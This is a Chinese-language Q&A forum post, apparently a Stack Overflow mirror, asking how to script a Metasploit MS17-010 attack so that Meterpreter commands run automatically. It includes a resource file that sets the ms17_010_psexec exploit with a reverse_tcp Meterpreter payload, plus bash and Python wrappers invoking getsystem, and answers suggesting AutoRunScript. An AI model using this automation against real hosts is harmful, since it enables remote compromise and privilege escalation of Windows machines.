【问题标题】:How to execute command in a sub/Child process using bash/shell scripting or python-shell scripting如何使用 bash/shell 脚本或 python-shell 脚本在子/子进程中执行命令
【发布时间】:2024-12-09 02:20:01
【问题描述】:

我想在 kali linux 中使用 metasploit 自动化攻击(出于某些测试目的)。 Metasploit 命令保存在 ms17-010.rc 文件中,并在脚本中调用该文件,然后是meterpreter 命令。我已经尝试过 bash 脚本(Attack_script.sh)和 python 脚本(test.py)。问题是:

执行第一个命令“msfconsole -r /root/ms17-010.rc”后,打开第一个metasploit控制台并执行保存在“ms17-010.rc”文件中的命令。然后在同一个终端上获得一个meterpreter控制台,但它不执行剩余的命令,我想在Meterpreter上运行。当我退出meterpreter和msfconsole时,命令在终端上执行。

问题在于 bash 和 python 脚本。希望我清楚。请帮帮我。

## Msf RC 脚本:ms17-010.rc ######


use exploit/windows/smb/ms17_010_psexec 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.16
set LPORT 4444
set RHOST 192.168.10.17
exploit
## Bash 脚本: Attack_script.sh ######
#!/bin/bash
msfconsole -r /root/ms17-010.rc
shell
getsystem
## python 脚本:test.py ######
from os import *

system ( 'msfconsole -r /root/ms17-010.rc' )
system("shell")
system("getsystem")

【问题讨论】:

  • 您在子进程中运行每个命令。 msfconsole 一直运行到完成,然后才会运行其他子进程。您可能需要将-x 选项设置为msfconsole-x, --execute-command COMMAND 将指定的字符串作为控制台命令执行(使用 ; 表示多个)。来自offensive-security.com/metasploit-unleashed/msfconsole。顺便说一句,在python中os.system()已经过时了很长时间了。
  • 不,你可能不明白我的问题(对不起,如果我不清楚)实际上我想在终端 - > msfconsole - > Meterpreter这样的子进程中运行,我想在第二个运行命令孩子(即meterpreter)。使用任何 bash 或 python 脚本。

标签: python-3.x bash subprocess metasploit kali-linux


【解决方案1】:

在那个 ms17-010.rc 中再添加一行 '设置 AutoRunScript multi_console_command -r Meterpreter.rb' 这样,它将在meterpreter shell 中执行存储在meterpreter.rb 中的命令。您需要使用要执行和完成的命令创建一个 .rb 脚本

【讨论】:

    最近更新 更多